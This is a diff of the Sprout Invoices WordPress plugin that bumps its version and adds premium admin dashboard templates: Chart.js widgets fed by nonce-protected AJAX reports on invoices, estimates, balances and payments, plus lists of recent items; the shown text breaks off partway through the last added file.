  * Description: Easily accept estimates, create invoices, and receive invoice payments on your WordPress site. Learn more at <a href="https://sproutinvoices.com">sproutinvoices.com</a>.
- * Version: 20.8.8
+ * Version: 20.8.9
  * Requires at least: 5.1
  * Requires PHP: 7.2.5
  * Author: BoldGrid
--- a/sprout-invoices/views/admin/dashboards/premium/balances-chart.php
+++ b/sprout-invoices/views/admin/dashboards/premium/balances-chart.php
@@ -0,0 +1,95 @@
+<div class="dashboard_widget inside">
+
+	<div id="balance_totals" class="chart_filter">
+		<span class="spinner si_inline_spinner"></span>
+		<input type="text" name="balance_totals_chart_segment_span" value="6" id="balance_totals_chart_segment_span" class="small-input"/>
+		<select id="balance_totals_chart_segment_select" name="balance_totals_chart_segment" class="chart_segment_select">
+			<option value="weeks"><?php esc_html_e( 'Weeks', 'sprout-invoices' ) ?></option>
+			<option value="months"><?php esc_html_e( 'Months', 'sprout-invoices' ) ?></option>
+		</select>
+		<button id="balance_totals_chart_filter" class="button" disabled="disabled"><?php esc_html_e( 'Show', 'sprout-invoices' ) ?></button>
+	</div>
+
+	<div class="main">
+		<canvas id="balance_totals_chart" min-height="300" max-height="500"></canvas>
+		<script type="text/javascript" charset="utf-8">
+			var balance_data = {};
+			var balance_total_chart = null;
+			var balance_totals_button = jQuery('#balance_totals_chart_filter');
+
+			function load_balance_totals_chart() {
+				var can = jQuery('#balance_totals_chart');
+				var ctx = can.get(0).getContext("2d");
+				// destroy current chart
+				if ( balance_total_chart !== null ) {
+					balance_total_chart.destroy();
+				};
+				balance_total_chart = new Chart(ctx).Line( balance_data );
+			}
+
+			var balance_chart_data = function () {
+				var segment = jQuery('#balance_totals_chart_segment_select').val(),
+					span = jQuery('#balance_totals_chart_segment_span').val();
+
+				balance_totals_button.prop('disabled', 'disabled');
+				jQuery('#balance_totals .spinner').css('visibility','visible');
+
+				jQuery.post( ajaxurl, {
+					action: '<?php echo esc_attr( SI_Reporting::AJAX_ACTION ) ?>',
+					data: 'balance_invoiced',
+					segment: segment,
+					span: span,
+					refresh_cache: si_js_object.reports_refresh_cache,
+					security: '<?php echo esc_attr( wp_create_nonce( SI_Reporting::AJAX_NONCE ) ) ?>'
+					},
+					function( response ) {
+						if ( response.error ) {
+							balance_totals_button.after('<span class="inline_error_message">' + response.response + '</span>');
+							return;
+						};
+						balance_data = {
+							labels: response.data.labels,
+							datasets: [
+								{
+									label: "<?php esc_html_e( 'Invoice Balances', 'sprout-invoices' ) ?>",
+									fillColor: "rgba(255,90,94,0.2)",
+									strokeColor: "rgba(255,90,94,1)",
+									pointColor: "rgba(255,90,94,1)",
+									pointStrokeColor: "#fff",
+									pointHighlightFill: "#fff",
+									pointHighlightStroke: "rgba(255,90,94,1)",
+									data: response.data.balances
+								},
+								{
+									label: "<?php esc_html_e( 'Payments', 'sprout-invoices' ) ?>",
+									fillColor: "rgba(38,41,44,0.2)",
+									strokeColor: "rgba(38,41,44,1)",
+									pointColor: "rgba(38,41,44,1)",
+									pointStrokeColor: "#fff",
+									pointHighlightFill: "#fff",
+									pointHighlightStroke: "rgba(38,41,44,1)",
+									data: response.data.payments
+								}
+							]
+						}
+						load_balance_totals_chart();
+						// enable select
+						balance_totals_button.prop('disabled', false);
+						jQuery('#balance_totals .spinner').css('visibility','hidden');
+					}
+				);
+			};
+
+			jQuery(document).ready(function($) {
+				// load chart from the start
+				balance_chart_data();
+				// change data if select changes
+				balance_totals_button.on( 'click', function( e ) {
+					// load chart
+					balance_chart_data();
+				} );
+			});
+		</script>
+		<p class="description"><?php esc_html_e( 'Shows total outstanding balance and payments by week', 'sprout-invoices' ) ?></p>
+	</div>
+</div>
--- a/sprout-invoices/views/admin/dashboards/premium/estimates-invoices-chart.php
+++ b/sprout-invoices/views/admin/dashboards/premium/estimates-invoices-chart.php
@@ -0,0 +1,97 @@
+<div class="dashboard_widget inside">
+
+	<div id="est_inv_totals" class="chart_filter">
+		<span class="spinner si_inline_spinner"></span>
+		<input type="text" name="est_inv_totals_chart_segment_span" value="6" id="est_inv_totals_chart_segment_span" class="small-input"/>
+		<select id="est_inv_totals_chart_segment_select" name="est_inv_totals_chart_segment" class="chart_segment_select">
+			<option value="weeks"><?php esc_html_e( 'Weeks', 'sprout-invoices' ) ?></option>
+			<option value="months"><?php esc_html_e( 'Months', 'sprout-invoices' ) ?></option>
+		</select>
+		<button id="est_inv_totals_chart_filter" class="button" disabled="disabled"><?php esc_html_e( 'Show', 'sprout-invoices' ) ?></button>
+	</div>
+
+	<div class="main">
+		<canvas id="est_invoices_chart" min-height="300" max-height="500"></canvas>
+		<script type="text/javascript" charset="utf-8">
+			var est_inv_totals_data = {};
+			var est_invoice_chart = null;
+			var est_inv_totals_button = jQuery('#est_inv_totals_chart_filter');
+
+			function est_invoices_chart() {
+				var can = jQuery('#est_invoices_chart');
+				var ctx = can.get(0).getContext("2d");
+				// destroy current chart
+				if ( est_invoice_chart !== null ) {
+					est_invoice_chart.destroy();
+				};
+				est_invoice_chart = new Chart(ctx).Bar( est_inv_totals_data, {
+					multiTooltipTemplate: "<%= value %>",
+				} );
+			}
+
+			var get_est_inv_totals_data = function () {
+				var segment = jQuery('#est_inv_totals_chart_segment_select').val(),
+					span = jQuery('#est_inv_totals_chart_segment_span').val();
+
+				est_inv_totals_button.prop('disabled', 'disabled');
+				jQuery('#est_inv_totals .spinner').css('visibility','visible');
+
+				jQuery.post( ajaxurl, {
+					action: '<?php echo esc_attr( SI_Reporting::AJAX_ACTION ) ?>',
+					data: 'est_invoice_totals',
+					segment: segment,
+					span: span,
+					refresh_cache: si_js_object.reports_refresh_cache,
+					security: '<?php echo esc_attr( wp_create_nonce( SI_Reporting::AJAX_NONCE ) ) ?>'
+					},
+					function( response ) {
+						if ( response.error ) {
+							est_inv_totals_button.after('<span class="inline_error_message">' + response.response + '</span>');
+							return;
+						};
+						est_inv_totals_data = {
+							labels: response.data.labels,
+							datasets: [
+								{
+									label: "<?php esc_html_e( 'Estimates', 'sprout-invoices' ) ?>",
+									fillColor: "rgba(255,165,0,0.2)",
+									strokeColor: "rgba(255,165,0,1)",
+									pointColor: "rgba(255,165,0,1)",
+									pointStrokeColor: "#fff",
+									pointHighlightFill: "#fff",
+									pointHighlightStroke: "rgba(255,165,0,1)",
+									data: response.data.estimates
+								},
+								{
+									label: "<?php esc_html_e( 'Invoices', 'sprout-invoices' ) ?>",
+									fillColor: "rgba(134,189,72,0.2)",
+									strokeColor: "rgba(134,189,72,1)",
+									pointColor: "rgba(134,189,72,1)",
+									pointStrokeColor: "#fff",
+									pointHighlightFill: "#fff",
+									pointHighlightStroke: "rgba(134,189,72)",
+									data: response.data.invoices
+								}
+							]
+						}
+						est_invoices_chart();
+						// enable select
+						est_inv_totals_button.prop('disabled', false);
+						jQuery('#est_inv_totals .spinner').css('visibility','hidden');
+					}
+				);
+			};
+
+			jQuery(document).ready(function($) {
+				// load chart from the start
+				get_est_inv_totals_data();
+				// change data if select changes
+				est_inv_totals_button.on( 'click', function( e ) {
+					// load chart
+					get_est_inv_totals_data();
+				} );
+			});
+		</script>
+		<p class="description"><?php esc_html_e( 'Shows total estimates and invoices by week.', 'sprout-invoices' ) ?></p>
+	</div>
+</div>
 No newline at end of file
--- a/sprout-invoices/views/admin/dashboards/premium/estimates-status-chart.php
+++ b/sprout-invoices/views/admin/dashboards/premium/estimates-status-chart.php
@@ -0,0 +1,64 @@
+<div class="dashboard_widget inside">
+	<div class="main">
+		<canvas id="estimate_status_chart" min-height="300" max-height="500"></canvas>
+		<script type="text/javascript" charset="utf-8">
+
+			var estimate_status_data = {};
+
+			function estimate_status_chart() {
+				var can = jQuery('#estimate_status_chart');
+				var ctx = can.get(0).getContext("2d");
+				var chart = new Chart(ctx).Doughnut(estimate_status_data, {
+						responsive: true,
+						maintainAspectRatio: true
+					});
+			}
+
+			var estimate_status_data = function () {
+				jQuery.post( ajaxurl, {
+					action: '<?php echo esc_attr( SI_Reporting::AJAX_ACTION ) ?>',
+					data: 'estimates_statuses',
+					segment: 'weeks',
+					refresh_cache: si_js_object.reports_refresh_cache,
+					span: 6,
+					security: '<?php echo esc_attr( wp_create_nonce( SI_Reporting::AJAX_NONCE ) ) ?>'
+					},
+					function( data ) {
+						estimate_status_data = [
+							{
+								value: data.status_request,
+								color:"rgba(85,181,232,1)",
+								highlight: "rgba(85,181,232,.8)",
+								label: "<?php esc_html_e( 'Request', 'sprout-invoices' ) ?>"
+							},
+							{
+								value: data.status_pending,
+								color:"rgba(255,165,0,1)",
+								highlight: "rgba(255,165,0,.8)",
+								label: "<?php esc_html_e( 'Pending', 'sprout-invoices' ) ?>"
+							},
+							{
+								value: data.status_approved,
+								color: "rgba(134,189,72,1)",
+								highlight: "rgba(134,189,72,.8)",
+								label: "<?php esc_html_e( 'Approved', 'sprout-invoices' ) ?>"
+							},
+							{
+								value: data.status_declined,
+								color:"rgba(38,41,44,1)",
+								highlight: "rgba(38,41,44,.8)",
+								label: "<?php esc_html_e( 'Declined', 'sprout-invoices' ) ?>"
+							}
+						];
+						estimate_status_chart();
+					}
+				);
+			};
+
+			jQuery(document).ready(function($) {
+				estimate_status_data();
+			});
+		</script>
+		<p class="description"><?php esc_html_e( 'Statuses from estimates from the last 3 weeks', 'sprout-invoices' ) ?></p>
+	</div>
+</div>
 No newline at end of file
--- a/sprout-invoices/views/admin/dashboards/premium/estimates.php
+++ b/sprout-invoices/views/admin/dashboards/premium/estimates.php
@@ -0,0 +1,115 @@
+<div class="reports_widget inside">
+	<div class="main">
+		<?php
+			$args = array(
+				'orderby' => 'modified',
+				'post_type' => SI_Estimate::POST_TYPE,
+				'post_status' => 'any', // Not Written-off?
+				'posts_per_page' => 3,
+				'fields' => 'ids',
+				);
+			$estimates = new WP_Query( $args ); ?>
+
+		<?php if ( ! empty( $estimates->posts ) ) :  ?>
+			<b><?php esc_html_e( 'Latest Updates', 'sprout-invoices' ) ?></b>
+			<ul>
+				<?php foreach ( $estimates->posts as $estimate_id ) :  ?>
+					<li><a href="<?php echo esc_attr( get_edit_post_link( $estimate_id ) ) ?>"><?php echo esc_html( get_the_title( $estimate_id ) ) ?></a> — <?php echo esc_html( date( get_option( 'date_format' ), get_post_modified_time( 'U', false, $estimate_id ) ) ) ?></li>
+				<?php endforeach ?>
+			</ul>
+		<?php else : ?>
+			<p>
+				<b><?php esc_html_e( 'Latest Updates', 'sprout-invoices' ) ?></b><br/>
+				<?php esc_html_e( 'No recent estimates found.', 'sprout-invoices' ) ?>
+			</p>
+		<?php endif ?>
+
+		<?php
+			$args = array(
+				'post_type' => SI_Estimate::POST_TYPE,
+				'post_status' => array( SI_Estimate::STATUS_REQUEST ),
+				'posts_per_page' => 3,
+				'fields' => 'ids',
+				);
+			$estimates = new WP_Query( $args ); ?>
+
+		<?php if ( ! empty( $estimates->posts ) ) :  ?>
+			<b><?php esc_html_e( 'Recent Requests', 'sprout-invoices' ) ?></b>
+			<ul>
+				<?php foreach ( $estimates->posts as $estimate_id ) :  ?>
+					<li><a href="<?php echo esc_attr( get_edit_post_link( $estimate_id ) ) ?>"><?php echo esc_html( get_the_title( $estimate_id ) )?></a> — <?php echo esc_html( date( get_option( 'date_format' ), get_post_time( 'U', false, $estimate_id ) ) )?></li>
+				<?php endforeach ?>
+			</ul>
+		<?php else : ?>
+			<p>
+				<b><?php esc_html_e( 'Recent Requests', 'sprout-invoices' ) ?></b><br/>
+				<?php esc_html_e( 'No recently requested estimates.', 'sprout-invoices' ) ?>
+			</p>
+		<?php endif ?>
+
+		<?php
+			$args = array(
+				'orderby' => 'modified',
+				'post_type' => SI_Estimate::POST_TYPE,
+				'post_status' => array( SI_Estimate::STATUS_DECLINED ),
+				'posts_per_page' => 3,
+				'fields' => 'ids',
+				);
+			$estimates = new WP_Query( $args ); ?>
+
+		<?php if ( ! empty( $estimates->posts ) ) :  ?>
+			<b><?php esc_html_e( 'Recent Declined', 'sprout-invoices' ) ?></b>
+			<ul>
+				<?php foreach ( $estimates->posts as $estimate_id ) :  ?>
+					<li><a href="<?php echo esc_attr( get_edit_post_link( $estimate_id ) ) ?>"><?php echo esc_html( get_the_title( $estimate_id ) ) ?></a> — <?php echo esc_html( date( get_option( 'date_format' ), get_post_time( 'U', false, $estimate_id ) ) )?></li>
+				<?php endforeach ?>
+			</ul>
+		<?php else : ?>
+			<p>
+				<b><?php esc_html_e( 'Recent Declined', 'sprout-invoices' ) ?></b><br/>
+				<?php esc_html_e( 'No recently declined estimates.', 'sprout-invoices' ) ?>
+			</p>
+		<?php endif ?>
+
+		<?php
+			$args = array(
+				'post_type' => SI_Estimate::POST_TYPE,
+				'post_status' => array( SI_Estimate::STATUS_PENDING ),
+				'posts_per_page' => 3,
+				'fields' => 'ids',
+				'meta_query' => array(
+						array(
+							'meta_key' => '_expiration_date',
+							'value' => array( 0, current_time( 'timestamp' ) ),
+							'compare' => 'BETWEEN',
+							),
+					),
+				);
+			$estimates = new WP_Query( $args ); ?>
+
+		<?php if ( ! empty( $estimates->posts ) ) :  ?>
+			<b><?php esc_html_e( 'Expired & Pending', 'sprout-invoices' ) ?></b>
+			<ul>
+				<?php foreach ( $estimates->posts as $estimate_id ) :  ?>
+					<li><a href="<?php echo esc_attr( get_edit_post_link( $estimate_id ) ) ?>"><?php
+						$expired_or_pending = ( si_get_estimate_expiration_date( $estimate_id ) > current_time( 'timestamp' ) ) ? __( 'Expired', 'sprout-invoices' ) : __( 'Pending', 'sprout-invoices' );
+						echo esc_html( get_the_title( $estimate_id ) ) ?></a> —
+						<?php
+							printf(
+							// translators: 1: estimate status, 2: estimate expiration date.
+							esc_html( '%1$s: %2$s'),
+							esc_html( $expired_or_pending ),
+							esc_html( date_i18n( get_option( 'date_format' ), si_get_estimate_expiration_date( $estimate_id ) ) )
+							)
+						?>
+					</li>
+				<?php endforeach ?>
+			</ul>
+		<?php else : ?>
+			<p>
+				<b><?php esc_html_e( 'Expired & Pending', 'sprout-invoices' ) ?></b><br/>
+				<?php esc_html_e( 'No recently expired or pending estimates.', 'sprout-invoices' ) ?>
+			</p>
+		<?php endif ?>
+	</div>
+</div>
--- a/sprout-invoices/views/admin/dashboards/premium/invoice-payments-chart.php
+++ b/sprout-invoices/views/admin/dashboards/premium/invoice-payments-chart.php
@@ -0,0 +1,96 @@
+<div class="dashboard_widget inside">
+
+	<div id="invoice_payments" class="chart_filter">
+		<span class="spinner si_inline_spinner"></span>
+		<input type="text" name="invoice_payments_chart_segment_span" value="6" id="invoice_payments_chart_segment_span" class="small-input"/>
+		<select id="invoice_payments_chart_segment_select" name="invoice_payments_chart_segment" class="chart_segment_select">
+			<option value="weeks"><?php esc_html_e( 'Weeks', 'sprout-invoices' ) ?></option>
+			<option value="months"><?php esc_html_e( 'Months', 'sprout-invoices' ) ?></option>
+		</select>
+		<button id="invoice_payments_chart_filter" class="button" disabled="disabled"><?php esc_html_e( 'Show', 'sprout-invoices' ) ?></button>
+	</div>
+
+	<div class="main">
+		<canvas id="invoice_payments_chart" min-height="300" max-height="500"></canvas>
+		<script type="text/javascript" charset="utf-8">
+			var inv_data = {};
+			var invoice_payments_chart = null;
+			var invoice_payments_button = jQuery('#invoice_payments_chart_filter');
+
+			function load_invoice_payments_chart() {
+				var can = jQuery('#invoice_payments_chart');
+				var ctx = can.get(0).getContext("2d");
+				// destroy current chart
+				if ( invoice_payments_chart !== null ) {
+					invoice_payments_chart.destroy();
+				};
+				invoice_payments_chart = new Chart(ctx).Line( inv_data );
+			}
+
+			var inv_chart_data = function () {
+				var segment = jQuery('#invoice_payments_chart_segment_select').val(),
+					span = jQuery('#invoice_payments_chart_segment_span').val();
+
+				invoice_payments_button.prop('disabled', 'disabled');
+				jQuery('#invoice_payments .spinner').css('visibility','visible');
+
+				jQuery.post( ajaxurl, {
+					action: '<?php echo esc_attr( SI_Reporting::AJAX_ACTION ) ?>',
+					data: 'invoice_payments',
+					segment: segment,
+					refresh_cache: si_js_object.reports_refresh_cache,
+					span: span,
+					security: '<?php echo esc_attr( wp_create_nonce( SI_Reporting::AJAX_NONCE ) ) ?>'
+					},
+					function( response ) {
+						if ( response.error ) {
+							invoice_payments_button.after('<span class="inline_error_message">' + response.response + '</span>');
+							return;
+						};
+						inv_data = {
+							labels: response.data.labels,
+							datasets: [
+								{
+									label: "<?php esc_html_e( 'Invoiced', 'sprout-invoices' ) ?>",
+									fillColor: "rgba(134,189,72,0.2)",
+									strokeColor: "rgba(134,189,72,1)",
+									pointColor: "rgba(134,189,72,1)",
+									pointStrokeColor: "#fff",
+									pointHighlightFill: "#fff",
+									pointHighlightStroke: "rgba(134,189,72)",
+									data: response.data.invoices
+								},
+								{
+									label: "<?php esc_html_e( 'Payments', 'sprout-invoices' ) ?>",
+									fillColor: "rgba(38,41,44,0.2)",
+									strokeColor: "rgba(38,41,44,1)",
+									pointColor: "rgba(38,41,44,1)",
+									pointStrokeColor: "#fff",
+									pointHighlightFill: "#fff",
+									pointHighlightStroke: "rgba(38,41,44,1)",
+									data: response.data.payments
+								}
+							]
+						}
+						load_invoice_payments_chart();
+						// enable select
+						invoice_payments_button.prop('disabled', false);
+						jQuery('#invoice_payments .spinner').css('visibility','hidden');
+					}
+				);
+			};
+
+			// add chart after page loads
+			jQuery(document).ready(function($) {
+				// load chart from the start
+				inv_chart_data();
+				// change data if select changes
+				invoice_payments_button.on( 'click', function( e ) {
+					// load chart
+					inv_chart_data();
+				} );
+			});
+		</script>
+		<p class="description"><?php esc_html_e( 'Compares total invoiced and the total payments.', 'sprout-invoices' ) ?></p>
+	</div>
+</div>
--- a/sprout-invoices/views/admin/dashboards/premium/invoices-status-chart.php
+++ b/sprout-invoices/views/admin/dashboards/premium/invoices-status-chart.php
@@ -0,0 +1,67 @@
+<div class="dashboard_widget inside">
+	<div class="main">
+		<canvas id="invoice_status_chart" min-height="300" max-height="500"></canvas>
+		<script type="text/javascript" charset="utf-8">
+
+			var invoice_status_data = {};
+
+			function invoice_status_chart() {
+				var can = jQuery('#invoice_status_chart');
+				var ctx = can.get(0).getContext("2d");
+				var chart = new Chart(ctx).Doughnut(invoice_status_data );
+			}
+
+			var invoice_status_data = function () {
+				jQuery.post( ajaxurl, {
+					action: '<?php echo esc_attr( SI_Reporting::AJAX_ACTION ) ?>',
+					data: 'invoice_statuses',
+					segment: 'weeks',
+					refresh_cache: si_js_object.reports_refresh_cache,
+					span: 6,
+					security: '<?php echo esc_attr( wp_create_nonce( SI_Reporting::AJAX_NONCE ) ) ?>'
+					},
+					function( data ) {
+						invoice_status_data = [
+							{
+								value: data.status_temp,
+								color:"rgba(85,181,232,1)",
+								highlight: "rgba(85,181,232,.8)",
+								label: "<?php esc_html_e( 'Temp', 'sprout-invoices' ) ?>"
+							},
+							{
+								value: data.status_pending,
+								color:"rgba(255,165,0,1)",
+								highlight: "rgba(255,165,0,.8)",
+								label: "<?php esc_html_e( 'Pending', 'sprout-invoices' ) ?>"
+							},
+							{
+								value: data.status_partial,
+								color:"rgba(38,41,44,1)",
+								highlight: "rgba(38,41,44,.8)",
+								label: "<?php esc_html_e( 'Partial', 'sprout-invoices' ) ?>"
+							},
+							{
+								value: data.status_complete,
+								color: "rgba(134,189,72,1)",
+								highlight: "rgba(134,189,72,.8)",
+								label: "<?php esc_html_e( 'Complete', 'sprout-invoices' ) ?>"
+							},
+							{
+								value: data.status_writeoff,
+								color:"rgba(38,41,44,1)",
+								highlight: "rgba(38,41,44,.8)",
+								label: "<?php esc_html_e( 'Written Off', 'sprout-invoices' ) ?>"
+							}
+						];
+						invoice_status_chart();
+					}
+				);
+			};
+
+			jQuery(document).ready(function($) {
+				invoice_status_data();
+			});
+		</script>
+		<p class="description"><?php esc_html_e( 'Statuses from invoices from the last 3 weeks', 'sprout-invoices' ) ?></p>
+	</div>
+</div>
 No newline at end of file
--- a/sprout-invoices/views/admin/dashboards/premium/invoices.php
+++ b/sprout-invoices/views/admin/dashboards/premium/invoices.php
@@ -0,0 +1,88 @@
+<div class="dashboard_widget inside">
+	<div class="main">
+		<?php
+			$invoice_data = SI_Reporting::total_invoice_data();
+
+			$week_payment_data = SI_Reporting::total_payment_data( 'week' );
+
+			$last_week_payment_data = SI_Reporting::total_payment_data( 'lastweek' );
+			$month_payment_data = SI_Reporting::total_payment_data( 'month' );
+			$last_month_payment_data = SI_Reporting::total_payment_data( 'lastmonth' );
+			$year_payment_data = SI_Reporting::total_payment_data( 'year' );
+			$last_year_payment_data = SI_Reporting::total_payment_data( 'lastyear' ); ?>
+
+		<dl>
+			<dt><?php esc_html_e( 'Outstanding', 'sprout-invoices' ) ?></dt>
+			<dd><?php sa_formatted_money( $invoice_data['balance'] )  ?></dd>
+
+			<dt><?php esc_html_e( 'Paid (this week)', 'sprout-invoices' ) ?></dt>
+			<dd><?php sa_formatted_money( $week_payment_data['totals'] )  ?></dd>
+
+			<dt><?php esc_html_e( 'Paid (last week)', 'sprout-invoices' ) ?></dt>
+			<dd><?php sa_formatted_money( $last_week_payment_data['totals'] )  ?></dd>
+
+			<dt><?php esc_html_e( 'Paid (month to date)', 'sprout-invoices' ) ?></dt>
+			<dd><?php sa_formatted_money( $month_payment_data['totals'] )  ?></dd>
+
+			<dt><?php esc_html_e( 'Paid (last month)', 'sprout-invoices' ) ?></dt>
+			<dd><?php sa_formatted_money( $last_month_payment_data['totals'] )  ?></dd>
+
+			<dt><?php esc_html_e( 'Paid (year to date)', 'sprout-invoices' ) ?></dt>
+			<dd><?php sa_formatted_money( $year_payment_data['totals'] )  ?></dd>
+
+			<dt><?php esc_html_e( 'Paid (last year)', 'sprout-invoices' ) ?></dt>
+			<dd><?php sa_formatted_money( $last_year_payment_data['totals'] )  ?></dd>
+		</dl>
+
+		<?php
+			$args = array(
+				'orderby' => 'modified',
+				'post_type' => SI_Invoice::POST_TYPE,
+				'post_status' => array_keys( SI_Invoice::get_statuses() ),
+				'posts_per_page' => 5,
+				'fields' => 'ids',
+				);
+			$invoices = new WP_Query( $args ); ?>
+
+		<?php if ( ! empty( $invoices->posts ) ) : ?>
+			<b><?php esc_html_e( 'Latest Updates', 'sprout-invoices' ) ?></b>
+			<ul>
+				<?php foreach ( $invoices->posts as $invoice_id ) : ?>
+					<li><a href="<?php echo esc_attr( get_edit_post_link( $invoice_id ) ) ?>"><?php echo esc_html( get_the_title( $invoice_id ) ) ?></a> — <?php echo esc_html( date( get_option( 'date_format' ), get_post_modified_time( 'U', false, $invoice_id ) ) ) ?></li>
+				<?php endforeach ?>
+			</ul>
+		<?php else : ?>
+			<p>
+				<b><?php esc_html_e( 'Latest Updates', 'sprout-invoices' ) ?></b><br/>
+				<?php esc_html_e( 'No invoices found.', 'sprout-invoices' ) ?>
+			</p>
+		<?php endif ?>
+
+		<?php
+			$invoices = SI_Invoice::get_overdue_invoices( apply_filters( 'si_dashboard_get_overdue_invoices_from', current_time( 'timestamp' ) - ( DAY_IN_SECONDS * 14 ) ), apply_filters( 'si_dashboard_get_overdue_invoices_to', current_time( 'timestamp' ) ) ); ?>
+
+		<?php if ( ! empty( $invoices ) ) : ?>
+			<b><?php esc_html_e( 'Recently Overdue & Unpaid', 'sprout-invoices' ) ?></b>
+			<ul>
+				<?php foreach ( $invoices as $invoice_id ) : ?>
+					<li>
+						<a href="<?php echo esc_attr( get_edit_post_link( $invoice_id ) ) ?>"><?php echo esc_html( get_the_title( $invoice_id ) )?></a>
+						 —
+						 <?php
+						 	printf(
+								// translators: 1: invoice due date.
+								esc_html__( 'Due: %1$s', 'sprout-invoices' ),
+								esc_html( date_i18n( get_option( 'date_format' ), si_get_invoice_due_date( $invoice_id ) ) )
+							);
+						?>
+					</li>
+				<?php endforeach ?>
+			</ul>
+		<?php else : ?>
+			<p>
+				<b><?php esc_html_e( 'Overdue & Unpaid', 'sprout-invoices' ) ?></b><br/>
+				<?php esc_html_e( 'No overdue or unpaid invoices.', 'sprout-invoices' ) ?>
+			</p>
+		<?php endif ?>
+	</div>
+</div>
--- a/sprout-invoices/views/admin/dashboards/premium/payments-chart.php
+++ b/sprout-invoices/views/admin/dashboards/premium/payments-chart.php
@@ -0,0 +1,96 @@
+<div class="dashboard_widget inside">
+
+	<div id="payments" class="chart_filter">
+		<span class="spinner si_inline_spinner"></span>
+		<input type="text" name="payments_chart_segment_span" value="6" id="payments_chart_segment_span" class="small-input"/>
+		<select id="payments_chart_segment_select" name="payments_chart_segment" class="chart_segment_select">
+			<option value="weeks"><?php esc_html_e( 'Weeks', 'sprout-invoices' ) ?></option>
+			<option value="months"><?php esc_html_e( 'Months', 'sprout-invoices' ) ?></option>
+		</select>
+		<button id="payments_chart_filter" class="button" disabled="disabled"><?php esc_html_e( 'Show', 'sprout-invoices' ) ?></button>
+	</div>
+
+	<div class="main">
+		<canvas id="payments_chart" min-height="300" max-height="500"></canvas>
+		<script type="text/javascript" charset="utf-8">
+			var payments_data = {};
+			var payments_chart = null;
+			var payments_button = jQuery('#payments_chart_filter');
+
+			function load_payments_chart() {
+				var can = jQuery('#payments_chart');
+				var ctx = can.get(0).getContext("2d");
+				// destroy current chart
+				if ( payments_chart !== null ) {
+					payments_chart.destroy();
+				};
+				payments_chart = new Chart(ctx).Line( payments_data );
+			}
+
+			var payments_chart_data = function () {
+				var segment = jQuery('#payments_chart_segment_select').val(),
+					span = jQuery('#payments_chart_segment_span').val();
+
+				payments_button.prop('disabled', 'disabled');
+				jQuery('#payments .spinner').css('visibility','visible');
+
+				jQuery.post( ajaxurl, {
+					action: '<?php echo esc_attr( SI_Reporting::AJAX_ACTION )?>',
+					data: 'payments',
+					segment: segment,
+					refresh_cache: si_js_object.reports_refresh_cache,
+					span: span,
+					security: '<?php echo esc_attr( wp_create_nonce( SI_Reporting::AJAX_NONCE ) ) ?>'
+					},
+					function( response ) {
+						if ( response.error ) {
+							payments_button.after('<span class="inline_error_message">' + response.response + '</span>');
+							return;
+						};
+						payments_data = {
+							labels: response.data.labels,
+							datasets: [
+								{
+									label: "<?php esc_html_e( 'Totals', 'sprout-invoices' ) ?>",
+									fillColor: "rgba(134,189,72,0.2)",
+									strokeColor: "rgba(134,189,72,1)",
+									pointColor: "rgba(134,189,72,1)",
+									pointStrokeColor: "#fff",
+									pointHighlightFill: "#fff",
+									pointHighlightStroke: "rgba(134,189,72)",
+									data: response.data.totals
+								},
+								{
+									label: "<?php esc_html_e( 'Payments', 'sprout-invoices' ) ?>",
+									fillColor: "rgba(38,41,44,0.2)",
+									strokeColor: "rgba(38,41,44,1)",
+									pointColor: "rgba(38,41,44,1)",
+									pointStrokeColor: "#fff",
+									pointHighlightFill: "#fff",
+									pointHighlightStroke: "rgba(38,41,44,1)",
+									data: response.data.payments
+								}
+							]
+						}
+						load_payments_chart();
+						// enable select
+						payments_button.prop('disabled', false);
+						jQuery('#payments .spinner').css('visibility','hidden');
+					}
+				);
+			};
+
+			// add chart after page loads
+			jQuery(document).ready(function($) {
+				// load chart from the start
+				payments_chart_data();
+				// change data if select changes
+				payments_button.on( 'click', function( e ) {
+					// load chart
+					payments_chart_data();
+				} );
+			});
+		</script>
+		<p class="description"><?php esc_html_e( 'Compares payment totals and the total payments.', 'sprout-invoices' ) ?></p>
+	</div>
+</div>
--- a/sprout-invoices/views/admin/dashboards/premium/payments-status-chart.php
+++ b/sprout-invoices/views/admin/dashboards/premium/payments-status-chart.php
@@ -0,0 +1,55 @@
+<div class="dashboard_widget inside">
+	<div class="main">
+		<canvas id="payments_status_chart" min-height="300" max-height="500"></canvas>
+		<script type="text/javascript" charset="utf-8">
+
+			var payment_status_data = {};
+
+			function payments_status_chart() {
+				var can = jQuery('#payments_status_chart');
+				var ctx = can.get(0).getContext("2d");
+				var chart = new Chart(ctx).Doughnut(payment_status_data );
+			}
+
+			var payments_status_chart_data = function () {
+				jQuery.post( ajaxurl, {
+					action: '<?php echo esc_attr( SI_Reporting::AJAX_ACTION ) ?>',
+					data: 'payment_statuses',
+					segment: 'weeks',
+					refresh_cache: si_js_object.reports_refresh_cache,
+					span: 6,
+					security: '<?php echo esc_attr( wp_create_nonce( SI_Reporting::AJAX_NONCE ) ) ?>'
+					},
+					function( data ) {
+						payment_status_data = [
+							{
+								value: data.status_pending,
+								color:"rgba(255,165,0,1)",
+								highlight: "rgba(255,165,0,.8)",
+								label: "Pending"
+							},
+							{
+								value: data.status_complete,
+								color: "rgba(134,189,72,1)",
+								highlight: "rgba(134,189,72,.8)",
+								label: "Paid"
+							},
+							{
+								value: data.status_void,
+								color:"rgba(38,41,44,1)",
+								highlight: "rgba(38,41,44,.8)",
+								label: "Void"
+							}
+						];
+						payments_status_chart();
+					}
+				);
+			};
+
+			jQuery(document).ready(function($) {
+				payments_status_chart_data();
+			});
+		</script>
+		<p class="description"><?php esc_html_e( 'Statuses from payments from the last 3 weeks', 'sprout-invoices' ) ?></p>
+	</div>
+</div>
 No newline at end of file
--- a/sprout-invoices/views/admin/dashboards/premium/requests-converted-chart.php
+++ b/sprout-invoices/views/admin/dashboards/premium/requests-converted-chart.php
@@ -0,0 +1,95 @@
+<div class="dashboard_widget inside">
+
+	<div id="req_est_totals" class="chart_filter">
+		<span class="spinner si_inline_spinner"></span>
+		<input type="text" name="req_est_totals_chart_segment_span" value="6" id="req_est_totals_chart_segment_span" class="small-input"/>
+		<select id="req_est_totals_chart_segment_select" name="req_est_totals_chart_segment" class="chart_segment_select">
+			<option value="weeks"><?php esc_html_e( 'Weeks', 'sprout-invoices' ) ?></option>
+			<option value="months"><?php esc_html_e( 'Months', 'sprout-invoices' ) ?></option>
+		</select>
+		<button id="req_est_totals_chart_filter" class="button" disabled="disabled"><?php esc_html_e( 'Show', 'sprout-invoices' ) ?></button>
+	</div>
+
+	<div class="main">
+		<canvas id="req_estimates_chart" min-height="300" max-height="500"></canvas>
